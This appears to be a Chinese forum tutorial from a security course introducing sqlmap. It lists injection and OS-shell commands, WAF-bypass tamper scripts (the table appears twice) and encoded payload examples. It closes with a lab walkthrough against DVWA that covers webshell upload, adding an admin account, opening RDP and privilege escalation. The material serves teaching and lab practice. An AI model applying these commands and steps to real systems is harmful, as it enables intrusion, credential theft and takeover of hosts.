-
-
[原创]赛客网络安全小课堂~第四章Sqlmap软件介绍
-
发表于: 2018-6-27 10:32 1589
-
第四章Sqlmap软件介绍
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
3.2 Sqlmap软件介绍
SQLmap安装需要python环境
SQLmap参数命令
•sqlmap-u "http://url/news?id=1" --current-user#获取当前用户名称
•sqlmap-u “http://url/news?id=1”--current-db#获取当前数据库名称
•sqlmap-u “http://url/news?id=1”–dbs#列数据库
SQLmap基本命令
•--passwords #数据库用户密码
•--is-dba -v 1#是否是数据库管理员
SQLmap支持的数据库:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
SQLmap执行步骤
•基于布尔的盲注:即可以根据返回页面判断条件真假的注入。
•基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
•根据用户选择,读取哪些数据
•基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
•联合查询注入:可以使用union的情况下的注入。
•堆查询注入:可以同时执行多条语句的执行时的注入。
Sqlmap高级注入参数
sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie 注入
sqlmap -u "http://url/news?id=1" --data "id=3" #post 注入
sqlmap -u "http://url/news?id=1" --os-cmd=who am i #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell
sqlmap -u "http://url/news?id=1" --reg-read #读取win 系统注册表
sqlmap中有一个tamper目录,主要存放的是waf绕过脚本,比如:base64encode.py、between.py、greatest.py等。
Sqlmap插件的用法示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
脚本名称
作用
apostrophemask.py
用utf8代替引号
equaltolike.py
like 代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’
space2hash.py
空格替换为#号 随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2mssqlblank.py
空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ –‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
脚本名称
作用
apostrophemask.py
用utf8代替引号
equaltolike.py
like 代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’
space2hash.py
空格替换为#号 随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2mssqlblank.py
空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ –‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
等号被过滤了----->[equaltolike.py]()------>like代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
替换字符和单引号被过滤---[apostrophenullencode.py]()
Example:
("1 AND '1'='1")
"1 AND %00%271%00%27=%00%271"
3.2 Sqlmap软件介绍
url编码转换------>[charencode.py]()
SELECT FIELD FROM%20TABLE
编后:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%
4f%4d%20%54%41%42%4c%45
(先把字符串转成ASCII编码,然后再转成十六进制)
比如“\”,它的ascii码是92,92的十六进制是5c,“\”的url编码就是%5c
字符串unicode 编码绕过--->[charunicodeencode.py]()
SELECT %20FIELD%20FROM TABLE
编码后:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%
u0046%u0049%u0045%u004c%u0044%u0020%u0046。。。。。。
Unicode编码的字符以%u为前缀,后面是这个字符的十六进制unicode的码点。
宽字符绕过---->[unmagicquotes.py]()
1′AND 1=1
编码后:
1%bf%27 AND 1=1–%20
演示:Sqlmap注入
SQLMap扫描数据库实例
任务:扫描扫描目标IP为192.168.1.3上的网站DVWA的数据库信息
第一步:查看Web应用在后台提交的数据
SQLMap扫描数据库实例
第二步:查看是否存在SQL注入漏洞
第三步:分析漏洞结果
第四步:探测数据库名称
第五步:查询数据库中存在的表名
第六步:查询用户表中的字段列表
第七步:查询字段的详细内容
第一步:利用上传的Webshell木马和获取的数据库信息连接数据库
第二步:查看能否执行SQL命令,数据库账号密码的远程利用攻击
第二步:查看是否存在SQL注入漏洞数据库账号密码的远程利用攻击
第三步:登陆MYSQL,执行操作
第四步:选定数据库名
第五步:在数据库“test”新建表a
第六步:表a中插入命令,在目标主机系统添加一个管理员权限的新账号
目标主机的文件添加位置
第七步:查看3389远程桌面端口是否开放
第一步:上传3389.vbs开端口文件
第二步:上传另外一个具备命令执行功能的Webshell
第三步:远程链接Webshell
第四步:利用网络文件服务器上传cmd.exe与pr.exe
后续我们会持续更新网络安全小课堂,有什么疑问,欢迎大家加入我们的赛客360网络安全夏令营一起来发表意见积极讨论呀~
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!